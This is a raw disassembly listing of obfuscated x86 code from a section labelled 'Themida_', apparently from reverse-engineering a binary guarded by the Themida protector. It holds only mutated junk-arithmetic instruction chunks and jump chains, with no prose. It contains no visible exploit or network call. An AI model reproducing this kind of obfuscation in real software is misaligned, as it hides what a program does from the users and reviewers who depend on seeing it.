loc_5993A0:				; CODE XREF: Themida_:005A929Cj
		mov	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		push	eax
		mov	eax, 17356D93h
		sub	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_59A1C1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5993BE:				; CODE XREF: sub_5A8C33-10E12j
					; sub_59A932+BAADj
		add	eax, 3EF255EBh
		push	dword ptr [esp+0]
		pop	ecx
		add	esp, 4
		add	eax, ebx
		add	eax, 12D060FCh
		sub	eax, 5FB94CC2h
		push	1F53h
		mov	[esp+0], ebp
		push	edi
		push	7F2F5FF1h
		pop	edi
		sub	edi, 5E30E3C6h
		mov	ebp, edi
		mov	edi, [esp+4+var_4]
		push	eax
		push	esp
		jmp	loc_59CA63
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D832


loc_5993F7:				; CODE XREF: sub_59D832+EA2Ej
		mov	eax, esp
		push	7D5Eh
		mov	[esp+8+var_8], edx
		jmp	loc_5A6B2A
; END OF FUNCTION CHUNK	FOR sub_59D832
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1ED0


loc_599406:				; CODE XREF: sub_5A1ED0+7B25j
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+0]
		pop	esp
		mov	[esp-4+arg_0], eax
		sub	esp, 4
		mov	[esp+0], esp
		add	dword ptr [esp+0], 4
		pop	eax
		add	eax, 4
		add	eax, 4
		jmp	sub_5AA46D
; END OF FUNCTION CHUNK	FOR sub_5A1ED0
; ---------------------------------------------------------------------------


loc_599433:				; CODE XREF: Themida_:0059E6EBj
		add	eax, ecx
		pop	ecx
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		jmp	loc_59DD37
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE6FD


loc_59944A:				; CODE XREF: sub_5AE6FD-7816j
		add	esp, 4
		add	edx, 2A9D6D3Eh
		jmp	loc_5A028F
; END OF FUNCTION CHUNK	FOR sub_5AE6FD
; ---------------------------------------------------------------------------


loc_599458:				; CODE XREF: Themida_:005ABA78j
		push	5F6Ch
		mov	[esp], edx
		mov	edx, esp
		push	eax
		mov	eax, 64F638C8h
		not	eax
		jmp	loc_59E3CD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3F42


loc_59946F:				; CODE XREF: sub_5A3F42:loc_59FF72j
					; sub_5A1B2A:loc_5A5FD4j
		jmp	loc_59E158
; END OF FUNCTION CHUNK	FOR sub_5A3F42
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1076


loc_599474:				; CODE XREF: sub_5A1076-3E90j
		sub	ecx, 6B4A7724h
		pop	ebx
		jmp	loc_598541
; END OF FUNCTION CHUNK	FOR sub_5A1076
; ---------------------------------------------------------------------------


loc_599480:				; CODE XREF: Themida_:005AEB29j
		jmp	loc_5A3B0E
; ---------------------------------------------------------------------------
		push	ebp
		push	3E8Eh
		mov	[esp], esi
		push	27530AECh
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	eax
		mov	eax, 2B535A12h
		jmp	loc_5AE34E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD9CC


loc_5994A8:				; CODE XREF: sub_5AD9CC-2EE8j
		mov	ecx, esp
		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		pop	ebx
		push	1D33h
		mov	[esp+8+var_8], ebp
		mov	ebp, 4
		sub	ecx, 75532F69h
		add	ecx, ebp
		add	ecx, 75532F69h
		pop	ebp
		push	5752h
		mov	[esp+8+var_8], ecx
		jmp	loc_5A818C
; END OF FUNCTION CHUNK	FOR sub_5AD9CC
; ---------------------------------------------------------------------------


loc_5994DC:				; CODE XREF: Themida_:005A7D10j
		add	esi, ebx
		pop	ebx
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ecx
		push	ebx
		mov	ebx, 4
		mov	ecx, ebx
		jmp	loc_5AB4DE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59ACCE


loc_599509:				; CODE XREF: sub_59ACCE+E966j
		mov	edi, [esp+0]
		push	ecx
		jmp	loc_5A2C46
; END OF FUNCTION CHUNK	FOR sub_59ACCE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC402


loc_599512:				; CODE XREF: sub_5AC402-6D97j
		pop	esp
		add	ch, dl
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_59ED31
; END OF FUNCTION CHUNK	FOR sub_5AC402

; =============== S U B	R O U T	I N E =======================================



sub_599526	proc near		; CODE XREF: sub_5ACD64+109j

var_A		= dword	ptr -0Ah
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00598F7C SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0059AC90 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059B21B SIZE 0000002D BYTES
; FUNCTION CHUNK AT 0059C031 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059DF6B SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059EDC9 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A0D93 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A13A4 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A326B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A3659 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005A3B63 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A41F0 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A460D SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A54F0 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A5CD2 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005ABFB6 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005AEDF1 SIZE 00000008 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ecx
		mov	ch, 7Ch
		shr	ch, 2
		neg	ch
		jmp	loc_59AC90
sub_599526	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A6DA1


loc_59953B:				; CODE XREF: sub_5A6DA1+7C4j
		mov	[esp+0], esp
		jmp	loc_5ABA30
; END OF FUNCTION CHUNK	FOR sub_5A6DA1
; ---------------------------------------------------------------------------


loc_599543:				; CODE XREF: Themida_:005ACF93j
		sub	eax, 24581D81h
		shl	eax, 3
		jmp	loc_5A7204
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A141E


loc_599550:				; CODE XREF: sub_5A141E-44D4j
		inc	edi
		add	edi, 675732B7h
		sub	eax, 6C932FCEh
		add	eax, edi
		jmp	loc_5A2D97
; END OF FUNCTION CHUNK	FOR sub_5A141E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_599563:				; CODE XREF: sub_5A8D43-AA7Cj
		add	bl, 65h
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp+8+var_8]
		jmp	loc_5AF163
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7343


loc_59957D:				; CODE XREF: sub_5A7343+6345j
		and	al, ch
		pop	cx
		shl	al, 5
		push	edi
		mov	edi, esp
		jmp	loc_5AE003
; END OF FUNCTION CHUNK	FOR sub_5A7343
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1B2A


loc_59958C:				; CODE XREF: sub_5A1B2A-2C6Aj
		neg	edi
		jmp	loc_5A5FD4
; END OF FUNCTION CHUNK	FOR sub_5A1B2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ACD64


loc_599593:				; CODE XREF: sub_5ACD64-14DCDj
		mov	esp, [esp-8+arg_4]
		or	ecx, esi
		push	[esp-8+arg_4]
		pop	esi
		add	esp, 4
		and	ecx, 7F370956h
		jp	loc_5A8DFA
		jmp	loc_598798
; END OF FUNCTION CHUNK	FOR sub_5ACD64
; ---------------------------------------------------------------------------
		pop	edi
		mov	ebx, edx
		mov	edx, [esp]
		sub	al, 11h
		mov	bl, 77h


loc_5995BA:				; CODE XREF: Themida_:005A32FDj
		neg	edx
		jmp	loc_5A2E6D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABA9B


loc_5995C1:				; CODE XREF: sub_5ABA9B-C40Fj
		sub	edi, 32FD5F6Dh
		add	edi, ecx
		add	edi, 32FD5F6Dh
		pop	ecx
		add	edi, 2
		xchg	edi, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		idiv	cx
		push	small 171Ch
		mov	word ptr [esp-6+arg_0+2], dx
		push	ax
		pushf
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_5ABA9B
; ---------------------------------------------------------------------------


loc_5995EC:				; CODE XREF: Themida_:0059E6FEj
		and	cl, ah
		pop	ax
		jmp	loc_598D4F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CA4A


loc_5995F5:				; CODE XREF: sub_59CA4A+1179Bj
		add	edx, 461B4D7Fh
		xor	ecx, edx
		pop	edx
		add	esi, ecx
		pop	ecx
		push	ecx
		jmp	loc_59C702
; END OF FUNCTION CHUNK	FOR sub_59CA4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_599607:				; CODE XREF: sub_5A8D43+2F55j
		xor	esi, 8FD4E4Dh
		jnb	loc_5AB157
		dec	esi
		sub	esi, 3E286959h
		sub	ecx, esi
		mov	dl, 0E2h


loc_59961E:				; CODE XREF: Themida_:00597CD3j
		mov	[esp+8+var_8], ebp
		mov	ebp, 28EE4DDEh
		add	ebp, 4E247EDBh
		shl	ebp, 4
		add	ebp, 0BA82896Dh
		add	eax, ebp
		jmp	loc_5A1DB0
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_59963C:				; CODE XREF: sub_59D99C+7CEj
		push	10ABh
		mov	[esp+0], ebx
		push	dword ptr [esp+0]
		pop	eax
		push	3F84h
		mov	[esp+4+var_4], edx
		mov	edx, esp
		jmp	loc_59C214
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE6FD


loc_599657:				; CODE XREF: sub_5AE6FD-FE39j
		pop	esp
		mov	[esp-8+arg_4], edx
		jmp	loc_5A2488
; END OF FUNCTION CHUNK	FOR sub_5AE6FD
; ---------------------------------------------------------------------------


loc_599660:				; CODE XREF: Themida_:0059D973j
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		xor	eax, ebx
		pop	ebx
		push	ebp
		jmp	loc_59A7CF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_599673:				; CODE XREF: sub_5AC95F-7E4Dj
		shr	ebx, 8
		jnp	loc_5A068E
		push	edx
		jmp	loc_5A4AFC
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
		pop	esi
		jmp	loc_59D0A4
; ---------------------------------------------------------------------------
		mov	dh, 90h
; START	OF FUNCTION CHUNK FOR sub_5A7343


loc_59968B:				; CODE XREF: sub_5A7343-8918j
		sub	[esp+10h+var_10], ecx
		pop	ecx
		neg	ecx
		push	edx
		mov	edx, 9825D4Ch
		push	esi
		mov	esi, 7A883B1Dh
		shl	esi, 5
		and	esi, 7FAA2D49h
		sub	esi, 0F99809BCh
		sub	edx, esi
		pop	esi
		add	edx, 8260CF80h
		add	ecx, 6E3678C7h
		add	ecx, edx
		sub	ecx, 6E3678C7h
		jmp	loc_5A65E9
; END OF FUNCTION CHUNK	FOR sub_5A7343
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB3DC


loc_5996C8:				; CODE XREF: sub_5AB3DC+2BDBj
		add	ecx, ebx
		jmp	loc_5A96AB
; END OF FUNCTION CHUNK	FOR sub_5AB3DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D663


loc_5996CF:				; CODE XREF: sub_59D663+364Dj
		mov	[esp+0], edx
		push	ecx
		mov	ecx, 2B6337A5h
		jmp	loc_59E0F0
; END OF FUNCTION CHUNK	FOR sub_59D663
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5996DD:				; CODE XREF: sub_59D99C-2187j
		push	ax
		push	ecx
		mov	cx, 2E6Bh
		jmp	loc_59ACE4
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------


loc_5996E9:				; DATA XREF: Themida_:005978F0o
		mov	ax, [esp]
		sub	esp, 4
		jmp	loc_5A2F23
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_5996F8:				; CODE XREF: sub_59B707+5EB5j
		push	dword ptr [esp+4]
		jmp	loc_59CBCC
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_599701:				; CODE XREF: sub_59D99C-13A7j
		mov	[esp+0Ah+var_C+2], esi
		push	edi
		mov	edi, 2C355312h
		add	edi, 41C46B65h
		jb	loc_5AB5F6
		add	edi, 92064589h
		jmp	loc_59EF9A
; END OF FUNCTION CHUNK	FOR sub_59D99C

; =============== S U B	R O U T	I N E =======================================



sub_599721	proc near		; CODE XREF: sub_59C342+7BF5j

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00597FE2 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00599386 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059DB6F SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059E67A SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0059F033 SIZE 00000038 BYTES
; FUNCTION CHUNK AT 0059F125 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A2309 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A2B06 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A408A SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A4197 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 005A461C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A4AC8 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A539D SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A87CA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AC8E1 SIZE 00000067 BYTES
; FUNCTION CHUNK AT 005ACF13 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005AD62A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AD95F SIZE 00000011 BYTES

		sub	esp, 4
		jmp	loc_5A2309
sub_599721	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_599729:				; CODE XREF: sub_5AC95F-A305j
		add	edi, 0E747FF21h
		add	esi, 0E41573Fh
		jmp	loc_59ADF4
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5986D6


loc_59973A:				; CODE XREF: Themida_:0059D17Bj
					; sub_5986D6+B5DEj
		add	ecx, 519B5CD7h
		mov	eax, [esp+4+var_4]
		jmp	loc_5A93D6
; END OF FUNCTION CHUNK	FOR sub_5986D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A72FB


loc_599748:				; CODE XREF: sub_5A72FB-87Dj
		add	ebx, ebp
		jmp	loc_59C2F0
; END OF FUNCTION CHUNK	FOR sub_5A72FB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59E35B


loc_59974F:				; CODE XREF: sub_59E35B+92Dj
		sub	edx, 3B017A7Fh
		jmp	loc_5A1081
; END OF FUNCTION CHUNK	FOR sub_59E35B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A141E


loc_59975A:				; CODE XREF: sub_5A141E+488j
		push	eax
		mov	eax, 0
		sub	eax, edi
		jmp	loc_59CF48
; END OF FUNCTION CHUNK	FOR sub_5A141E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ACD64


loc_599767:				; CODE XREF: sub_5ACD64-7CE5j
		add	esp, 4
		jmp	loc_59DF77
; END OF FUNCTION CHUNK	FOR sub_5ACD64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE40


loc_59976F:				; CODE XREF: sub_5A1B2A-1D69j
					; sub_59EE40+5957j
		pop	esi
		add	eax, 4
		xchg	eax, [esp+10h+var_10]
		mov	esp, [esp+10h+var_10]
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_59EE40
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A932


loc_59977E:				; CODE XREF: sub_59A932+C52Fj
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+4+var_4]
		pop	esp
		add	edx, 4
		sub	esp, 4
		mov	[esp+4+var_4], ebx
		sub	esp, 4
		mov	[esp+8+var_8], ecx
		push	edi
		jmp	loc_599191
; END OF FUNCTION CHUNK	FOR sub_59A932
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D7E7


loc_5997AB:				; CODE XREF: sub_59D7E7-1084j
		inc	eax
		push	edx
		mov	edx, 123679AEh
		jmp	sub_59BB22
; END OF FUNCTION CHUNK	FOR sub_59D7E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7343


loc_5997B7:				; CODE XREF: sub_5A7343+4F83j
		push	edx
		mov	edx, esp
		push	ebp
		mov	ebp, 4
		jmp	loc_59A38E
; END OF FUNCTION CHUNK	FOR sub_5A7343
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C53B


loc_5997C5:				; CODE XREF: sub_59C53B+30BDj
		not	ecx
		xor	ecx, 28725663h
		mov	edx, ecx
		pop	ecx
		push	15CCh
		mov	[esp+1Ch+var_1C], ebp
		mov	ebp, 5A3B6E52h
		jmp	loc_5A8630
; END OF FUNCTION CHUNK	FOR sub_59C53B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_5997E2:				; CODE XREF: sub_5A8D43+5E9Cj
		mov	cl, 2Bh
		xor	cl, 0D2h
		sub	cl, 1Bh
		push	bx
		jmp	loc_59AAB0
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59ACEC


loc_5997F1:				; CODE XREF: sub_59ACEC+B414j
		sub	edi, 13EF61D6h
		jmp	loc_59920D
; END OF FUNCTION CHUNK	FOR sub_59ACEC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EF66


loc_5997FC:				; CODE XREF: sub_59EF66+655j
		add	ebp, 4
		sub	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	[esp+4+var_4]
		mov	esp, [esp+0]
		mov	[esp+0], ebx
		push	edx
		push	52A95A39h
		jmp	loc_59C000
; END OF FUNCTION CHUNK	FOR sub_59EF66
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3F42


loc_59981F:				; CODE XREF: sub_5A3F42+114j
					; Themida_:005AA8E5j
		push	eax
		jmp	loc_5A84AA
; END OF FUNCTION CHUNK	FOR sub_5A3F42
; ---------------------------------------------------------------------------


loc_599825:				; CODE XREF: Themida_:005A74AFj
		push	esi
		mov	esi, edi
		mov	ebp, esi
		jmp	loc_59A863
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ACD64


loc_59982F:				; CODE XREF: sub_5ACD64+127Aj
		mov	ecx, 0D16C81h
		shl	ecx, 8
		shr	ecx, 8
		jmp	loc_5A000D
; END OF FUNCTION CHUNK	FOR sub_5ACD64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_59983F:				; CODE XREF: sub_5A8C33+35E1j
					; sub_5A8F56+3336j
		sub	eax, 68DD1AC8h
		add	eax, ebx
		add	eax, 68DD1AC8h
		add	eax, 33A36C72h
		push	ebx
		jmp	loc_5AB395
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------


loc_599856:				; DATA XREF: Themida_:0059788Co
		mov	ax, [esp]
		push	esi
		push	esp
		mov	esi, [esp]
		add	esp, 4
		add	esi, 4
		push	edi
		mov	edi, 303F370Bh
		and	edi, 296D5B02h
		shr	edi, 6
		xor	edi, 20520F7Fh
		jmp	loc_5A4841
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EC11


loc_599885:				; CODE XREF: sub_59EC11+1Bj
		add	ebp, 295B6881h
		add	ebp, edx
		push	ecx
		mov	ecx, 36EB76E6h
		add	ecx, 80B37E4h
		shl	ecx, 7
		or	ecx, 4353E7Bh
		shl	ecx, 3
		inc	ecx
		jmp	loc_5AD995
; END OF FUNCTION CHUNK	FOR sub_59EC11

; =============== S U B	R O U T	I N E =======================================



sub_5998AB	proc near		; CODE XREF: sub_5AD9CC-48C5j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005A65A0 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A7271 SIZE 00000008 BYTES

		push	ebx
		push	esi
		mov	esi, 24111E2Ah
		mov	ebx, esi
		pop	esi
		sub	edi, ebx
		jmp	loc_5A7271
sub_5998AB	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_5998BC:				; CODE XREF: Themida_:005A25F3j
		mov	eax, ebx
		pop	ebx
		add	ebp, 4CA40775h
		add	ebp, eax
		push	7FEAh
		mov	[esp], edi
		mov	edi, 727705F2h
		jmp	loc_5A18AB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D832


loc_5998D9:				; CODE XREF: sub_59D832+109C5j
		sub	ebp, 395F677Ch
		add	eax, ebp
		pop	ebp
		xchg	eax, [esp+4+var_4]
		pop	esp
		push	ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp+8+var_8]
		add	esp, 4
		pop	[esp+4+var_4]
		mov	esp, [esp+0]
		jmp	loc_5A1570
; END OF FUNCTION CHUNK	FOR sub_59D832
; ---------------------------------------------------------------------------


loc_5998FF:				; CODE XREF: Themida_:005A1943j
		push	edx
		mov	dh, 0EDh
		sub	al, dh
		pop	edx
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_5A0821
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A41D6


loc_599912:				; CODE XREF: sub_5A41D6+336Bj
		push	edi
		push	ebp
		mov	ebp, 4
		mov	edi, ebp
		pop	ebp
		jmp	loc_597C9D
; END OF FUNCTION CHUNK	FOR sub_5A41D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A02EA


loc_599921:				; CODE XREF: sub_5A02EA+7AC4j
		add	[esp+8+var_4], ecx
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		jmp	loc_5A10C8
; END OF FUNCTION CHUNK	FOR sub_5A02EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_599930:				; CODE XREF: sub_5A8D43-56CAj
		mov	ah, 0FCh
		and	dl, ah
		jmp	loc_5A6401
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_599939:				; CODE XREF: sub_599059+5B32j
					; sub_5A6F21-42C1j
		mov	ebx, [esp+0]
		add	esp, 4
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5987D8


loc_599944:				; CODE XREF: sub_5987D8+3497j
		pop	edx
		jmp	loc_5991A0
; END OF FUNCTION CHUNK	FOR sub_5987D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADDF8


loc_59994A:				; CODE XREF: sub_5ADDF8-6DDFj
		add	[esp+4+var_4], 4
		mov	ebp, [esp+4+var_4]
		add	esp, 4
		jmp	loc_5A21ED
; END OF FUNCTION CHUNK	FOR sub_5ADDF8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_59995C:				; CODE XREF: sub_59B707+7AA9j
		pop	[esp+4+var_4]
		mov	esp, [esp+0]
		mov	[esp+0], edx
		mov	dh, 7Fh
		and	al, dh
		push	dword ptr [esp+0]
		jmp	loc_5ADA6C
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_599971:				; CODE XREF: sub_59D99C+7C9Fj
		shr	eax, 0Ah
		xor	eax, ecx
		push	ecx
		mov	ecx, esp
		push	edi
		mov	edi, 6CCE23E8h
		jmp	loc_59DCD5
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------


loc_599984:				; CODE XREF: Themida_:005A570Bj
		mov	[esp], edi
		mov	edi, 84050E6h
		shl	edi, 3
		or	edi, 23652469h
		or	edi, 34FB1699h
		jmp	loc_5A8399
; ---------------------------------------------------------------------------


loc_5999A0:				; CODE XREF: Themida_:0059BED8j
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		push	edi
		push	ebp
		push	esi
		push	6FAA5B76h
		pop	esi
		jmp	loc_599FA1
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	dword ptr [esp], cl
		pushf
		jmp	loc_597B5F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598D16


loc_5999C8:				; CODE XREF: sub_598D16+7CF4j
		push	ecx
		jmp	loc_59C928
; END OF FUNCTION CHUNK	FOR sub_598D16
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C53B


loc_5999CE:				; CODE XREF: sub_59C53B-46F7j
		add	edi, 5E057107h
		jmp	loc_5ABAFC
; END OF FUNCTION CHUNK	FOR sub_59C53B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597C68


loc_5999D9:				; CODE XREF: sub_597C68+70AAj
		add	ecx, 60B1DC37h
		jmp	sub_5AACA7
; END OF FUNCTION CHUNK	FOR sub_597C68
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D7E7


loc_5999E4:				; CODE XREF: sub_59D7E7:loc_5AD493j
		add	bl, 0D9h
		mov	ch, bl
		jmp	loc_5A1EAE
; END OF FUNCTION CHUNK	FOR sub_59D7E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AEFD6


loc_5999EE:				; CODE XREF: sub_5AEFD6-31FBj
		mov	eax, [esp+0]
		add	esp, 4
		add	esp, 4
		and	eax, edx
		pop	edx
		or	edx, eax
		shl	edx, 1
		jmp	loc_59F083
; END OF FUNCTION CHUNK	FOR sub_5AEFD6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE40


loc_599A09:				; CODE XREF: sub_59EE40+81E9j
		sub	dh, 1Dh
		and	al, dh
		pop	edx
		xor	al, 2Fh
		add	bl, 44h
		add	bl, al
		sub	bl, 44h
		mov	eax, [esp+0]
		sub	esp, 4
		mov	[esp+4+var_4], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+4+var_4]
		pop	esp
		jmp	loc_59A1D8
; END OF FUNCTION CHUNK	FOR sub_59EE40
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C53B


loc_599A39:				; CODE XREF: sub_59C53B+11FADj
		xor	esi, [esp+0Ch+var_C]
		xor	[esp+0Ch+var_C], esi
		xor	esi, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
		jmp	loc_5A293B
; END OF FUNCTION CHUNK	FOR sub_59C53B
; ---------------------------------------------------------------------------


loc_599A4A:				; CODE XREF: Themida_:0059DD3Bj
		mov	[esp], ebx
		mov	ebx, esp
		push	eax
		push	esi
		mov	esi, 73CC42A8h
		push	0B5449982h
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_599FCB
; ---------------------------------------------------------------------------


loc_599A66:				; CODE XREF: Themida_:0059A14Bj
		mov	ebx, 4281155h
		not	ebx
		shr	ebx, 1
		jnp	loc_5A5D08
		add	ebx, 217438F8h
		ja	loc_59A022
		push	eax
		mov	eax, 7FCF44FBh
		mov	ch, bh
		mov	ch, dl
; START	OF FUNCTION CHUNK FOR sub_5ABF4A


loc_599A8B:				; CODE XREF: sub_5ABF4A-B091j
		pop	esp
		mov	[esp-8+arg_4], esi
		push	edi
		jmp	loc_59E303
; END OF FUNCTION CHUNK	FOR sub_5ABF4A
; ---------------------------------------------------------------------------


loc_599A95:				; CODE XREF: Themida_:00597DABj
		add	edi, 2CED4EBAh
		jmp	loc_5A5892
; ---------------------------------------------------------------------------


loc_599AA0:				; CODE XREF: Themida_:005ABDCDj
		mov	edx, esp
